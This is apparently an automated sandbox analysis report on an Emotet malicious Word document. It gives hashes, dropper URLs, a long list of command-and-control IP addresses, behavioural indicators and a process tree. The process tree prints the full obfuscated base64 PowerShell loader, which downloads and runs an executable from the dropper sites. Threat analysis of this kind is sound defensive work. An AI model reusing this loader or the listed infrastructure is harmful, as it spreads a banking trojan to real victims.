emotet | 7dc9821a27cbc29bddb4bb3c708aad0b24a82d9beb1a2df9caeabf7ea6bd8e06

Analysis

max time kernel
140s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
29/08/2020, 12:45

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General

Target
emotet_e2_7dc9821a27cbc29bddb4bb3c708aad0b24a82d9beb1a2df9caeabf7ea6bd8e06_2020-08-29__124331._doc.doc
Size 223KB
Sample200829-3vb5cgfbks
SHA256 7dc9821a27cbc29bddb4bb3c708aad0b24a82d9beb1a2df9caeabf7ea6bd8e06
MD5 21b3a9b03027779dc3070481a468b211
SHA1 6cbaadce0d5e96e9183d01363e26ea7fe8c6cc62
SHA512 1b2146c0c83cdb7e438465225d7b10813ccf47ee37bc9b13ec6a1572c56f494359a7252218262a0003ab5cf820ab69baf67ba48bf60b448e65ffca0388a98b71
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://qstride.com/img/0/
exe.dropper
http://tskgear.com/wp-content/uploads/2015/06/pz/
exe.dropper
http://vermasiyaahi.com/cgi-bin/8/
exe.dropper
http://www.weblabor.com.br/avisos/QIU9/
exe.dropper
http://viniciusrangel.com/experimental/VIhMh1/
exe.dropper
http://westvac.com/wp-content/GOYx/
exe.dropper
https://viewall.eu/cgi-bin/SbhZP9X/

Extracted

Family

emotet

67.68.210.95:80
162.241.242.173:8080
45.55.36.51:443
45.55.219.163:443
68.188.112.97:80
46.105.131.79:8080
78.24.219.147:8080
37.70.8.161:80
153.232.188.106:80
209.141.54.221:8080
203.117.253.142:80
152.168.248.128:443
93.147.212.206:80
24.137.76.62:80
189.212.199.126:443
204.197.146.48:80
137.119.36.33:80
185.94.252.104:443
139.130.242.43:80
203.153.216.189:7080
200.114.213.233:8080
41.60.200.34:80
107.5.122.110:80
139.162.108.71:8080
137.59.187.107:8080
181.230.116.163:80
24.43.99.75:80
83.169.36.251:8080
95.179.229.244:8080
85.152.162.105:80
37.139.21.175:8080
98.109.204.230:80
139.59.60.244:8080
75.139.38.211:80
61.19.246.238:443
79.98.24.39:8080
69.30.203.214:8080
68.171.118.7:80
50.81.3.113:80
89.205.113.80:80
87.106.136.232:8080
74.109.108.202:80
95.213.236.64:8080
24.179.13.119:80
121.124.124.40:7080
70.121.172.89:80
74.120.55.163:80
104.131.44.150:8080
74.208.45.104:8080
1.221.254.82:80
187.161.206.24:80
188.219.31.12:80
180.92.239.110:8080
47.146.117.214:80
103.86.49.11:8080
190.55.181.54:443
104.236.246.93:8080
97.82.79.83:80
91.211.88.52:7080
84.39.182.7:80
110.145.77.103:80
94.23.237.171:443
85.105.205.77:8080
87.106.139.101:8080
200.41.121.90:80
157.245.99.39:8080
169.239.182.217:8080
67.205.85.243:8080
176.111.60.55:8080
174.45.13.118:80
167.86.90.214:8080
174.102.48.180:443
112.185.64.233:80
173.81.218.65:80
139.99.158.11:443
113.160.130.116:8443
201.173.217.124:443
62.75.141.82:80
174.137.65.18:80
172.91.208.86:80
5.196.74.210:8080
85.66.181.138:80
47.144.21.12:443
194.187.133.160:443
168.235.67.138:7080
104.131.11.150:443
190.160.53.126:80
37.187.72.193:8080
109.74.5.95:8080
120.150.60.189:80
94.200.114.161:80
216.208.76.186:80
173.62.217.22:443
62.30.7.67:443
5.39.91.110:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3928	2552	powersheLL.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	3928	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
68	Y85mi4vtd.exe
3972	KBDCZ1.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\cryptngc\KBDCZ1.exe	Y85mi4vtd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = ae0dae7c127ed601	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1644	WINWORD.EXE
1644	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3928	powersheLL.exe
3928	powersheLL.exe
3928	powersheLL.exe
3972	KBDCZ1.exe
3972	KBDCZ1.exe
3972	KBDCZ1.exe
3972	KBDCZ1.exe
3972	KBDCZ1.exe
3972	KBDCZ1.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	548	svchost.exe
Token: SeCreatePagefilePrivilege	548	svchost.exe
Token: SeDebugPrivilege	3928	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
68	Y85mi4vtd.exe
68	Y85mi4vtd.exe
3972	KBDCZ1.exe
3972	KBDCZ1.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 68	3928	powersheLL.exe	77
PID 3928 wrote to memory of 68	3928	powersheLL.exe	77
PID 3928 wrote to memory of 68	3928	powersheLL.exe	77
PID 68 wrote to memory of 3972	68	Y85mi4vtd.exe	80
PID 68 wrote to memory of 3972	68	Y85mi4vtd.exe	80
PID 68 wrote to memory of 3972	68	Y85mi4vtd.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_7dc9821a27cbc29bddb4bb3c708aad0b24a82d9beb1a2df9caeabf7ea6bd8e06_2020-08-29__124331._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAHQAdQByADAAOQAxAD0AKAAoACcAUQAnACsAJwBkAHgAJwApACsAKAAnADEAOQBtACcAKwAnADkAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AHQARQBNAHAAXAB3AE8AUgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABkAGkAUgBlAEMAVABvAHIAeQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBgAGUAQwB1AFIASQBgAFQAWQBQAFIAbwBgAFQATwBDAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKwAoACcALAAnACsAJwAgAHQAbAAnACkAKwAoACcAcwAnACsAJwAxADEALAAgAHQAbAAnACkAKwAnAHMAJwApADsAJABHAHkANAA3AF8ANABkACAAPQAgACgAKAAnAFkAJwArACcAOAA1AG0AaQA0AHYAJwApACsAJwB0AGQAJwApADsAJABLAHgAZgBmAHQAaQB5AD0AKAAoACcAUgAnACsAJwBvADEAJwApACsAKAAnADkAbwAnACsAJwBsADYAJwApACkAOwAkAEcAdgA1AHkAaAAzAG4APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcAdQByACcAKwAnADEAdwBvAHIAJwArACcAZAAnACkAKwAoACcAdQAnACsAJwByADEAJwArACcAMgAwADEAOQAnACkAKwAoACcAdQAnACsAJwByADEAJwApACkALQByAEUAcABsAEEAQwBFACgAWwBDAGgAYQBSAF0AMQAxADcAKwBbAEMAaABhAFIAXQAxADEANAArAFsAQwBoAGEAUgBdADQAOQApACwAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEcAeQA0ADcAXwA0AGQAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAGQAZgB4AGUAOAAxAD0AKAAnAFkAZAAnACsAKAAnAF8AMgBwACcAKwAnAGMAJwApACsAJwA5ACcAKQA7ACQARQBuAGkAYwA5AGIAcgA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAGwASQBFAG4AdAA7ACQASABxADAAeQBsADAAYgA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHEAJwApACsAKAAnAHMAdAAnACsAJwByAGkAJwApACsAJwBkAGUAJwArACcALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AJwApACsAKAAnAGkAbQBnAC8AJwArACcAMAAvACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvAHQAcwBrACcAKwAnAGcAJwApACsAKAAnAGUAYQByAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACcAZQBuACcAKwAoACcAdAAvACcAKwAnAHUAcAAnACkAKwAnAGwAJwArACcAbwBhACcAKwAnAGQAcwAnACsAKAAnAC8AMgAnACsAJwAwACcAKQArACgAJwAxADUAJwArACcALwAwADYALwBwACcAKwAnAHoALwAqACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwACcAKwAnADoALwAvAHYAZQAnACkAKwAoACcAcgBtAGEAcwAnACsAJwBpACcAKQArACcAeQBhACcAKwAnAGEAaAAnACsAKAAnAGkALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwAnACsAJwBjACcAKwAnAGcAaQAtAGIAaQAnACsAJwBuAC8AJwApACsAKAAnADgALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHcAdwAnACkAKwAoACcAdwAuAHcAJwArACcAZQAnACkAKwAoACcAYgBsACcAKwAnAGEAYgBvAHIAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAuAGIAJwArACcAcgAvACcAKwAoACcAYQAnACsAJwB2AGkAcwAnACkAKwAnAG8AcwAnACsAKAAnAC8AJwArACcAUQBJACcAKwAnAFUAOQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwB2AGkAbgAnACsAJwBpAGMAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBzAHIAYQBuAGcAZQAnACkAKwAoACcAbAAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGUAJwArACcAeAAnACkAKwAoACcAcABlAHIAJwArACcAaQAnACsAJwBtACcAKwAnAGUAbgB0AGEAJwApACsAKAAnAGwALwBWAEkAaABNACcAKwAnAGgAMQAnACsAJwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvACcAKwAnAHcAZQBzAHQAdgBhAGMAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwAC0AJwArACcAYwBvACcAKQArACcAbgB0ACcAKwAnAGUAJwArACcAbgAnACsAJwB0AC8AJwArACgAJwBHACcAKwAnAE8AWQB4AC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB2ACcAKQArACgAJwBpAGUAJwArACcAdwAnACkAKwAoACcAYQBsAGwAJwArACcALgAnACkAKwAnAGUAJwArACcAdQAnACsAKAAnAC8AYwBnAGkALQAnACsAJwBiACcAKQArACcAaQBuACcAKwAoACcALwBTAGIAaAAnACsAJwBaAFAAJwApACsAJwA5AFgAJwArACcALwAnACkALgAiAFMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBiAHQAZAB2AHEAdgA9ACgAKAAnAEIAJwArACcAMQB5AHUAJwApACsAKAAnAGcAJwArACcAYQB0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQQAzADcAcwA4AGsAcAAgAGkAbgAgACQASABxADAAeQBsADAAYgApAHsAdAByAHkAewAkAEUAbgBpAGMAOQBiAHIALgAiAEQAbwB3AG4AYABMAGAAbwBgAEEAZABmAEkATABFACIAKAAkAEEAMwA3AHMAOABrAHAALAAgACQARwB2ADUAeQBoADMAbgApADsAJABNAGYAMgBzAG4AcgA0AD0AKAAoACcAWAAnACsAJwBqAGkAcABpACcAKQArACcAOQAnACsAJwA0ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABHAHYANQB5AGgAMwBuACkALgAiAGwAYABlAG4ARwBgAFQASAAiACAALQBnAGUAIAAzADEAOQA5ADcAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQARwB2ADUAeQBoADMAbgApADsAJABSAHUAbgA0ADMAdAB3AD0AKAAoACcAVAB2AG8AagAnACsAJwBnACcAKQArACcAMQA4ACcAKQA7AGIAcgBlAGEAawA7ACQATQBqAGoAbABxAHkAOQA9ACgAJwBBACcAKwAoACcAZwBsACcAKwAnAGkAJwApACsAKAAnAGYAJwArACcAZwBlACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAGUAcwByAGYAegAxAD0AKAAnAEQAXwAnACsAJwB4ACcAKwAoACcANwAnACsAJwBvAGoAMgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Users\Admin\AppData\Local\Temp\word\2019\Y85mi4vtd.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Y85mi4vtd.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:68
- - C:\Windows\SysWOW64\cryptngc\KBDCZ1.exe
    "C:\Windows\SysWOW64\cryptngc\KBDCZ1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/68-17-0x00000000006A0000-0x00000000006AC000-memory.dmp

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memory/1644-5-0x000001BC55F56000-0x000001BC55F5E000-memory.dmp

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memory/1644-4-0x000001BC55F56000-0x000001BC55F5E000-memory.dmp

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memory/1644-7-0x000001BC55959000-0x000001BC55970000-memory.dmp

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memory/1644-8-0x000001BC55FE5000-0x000001BC55FF9000-memory.dmp

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memory/1644-9-0x000001BC55FE5000-0x000001BC55FF9000-memory.dmp

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memory/1644-10-0x000001BC55FE5000-0x000001BC55FF9000-memory.dmp

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memory/1644-1-0x000001BC55F2A000-0x000001BC55F2D000-memory.dmp

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memory/1644-2-0x000001BC55F2D000-0x000001BC55F30000-memory.dmp

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memory/1644-3-0x000001BC55F56000-0x000001BC55F5E000-memory.dmp

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memory/1644-0-0x00007FF95C850000-0x00007FF95CF16000-memory.dmp

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memory/1644-6-0x000001BC55959000-0x000001BC55970000-memory.dmp

Download

memory/3928-13-0x0000017FF6590000-0x0000017FF6591000-memory.dmp

Download

memory/3928-12-0x0000017FF63E0000-0x0000017FF63E1000-memory.dmp

Download

memory/3928-11-0x00007FF955700000-0x00007FF9560EC000-memory.dmp

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memory/3972-20-0x00000000005C0000-0x00000000005CC000-memory.dmp

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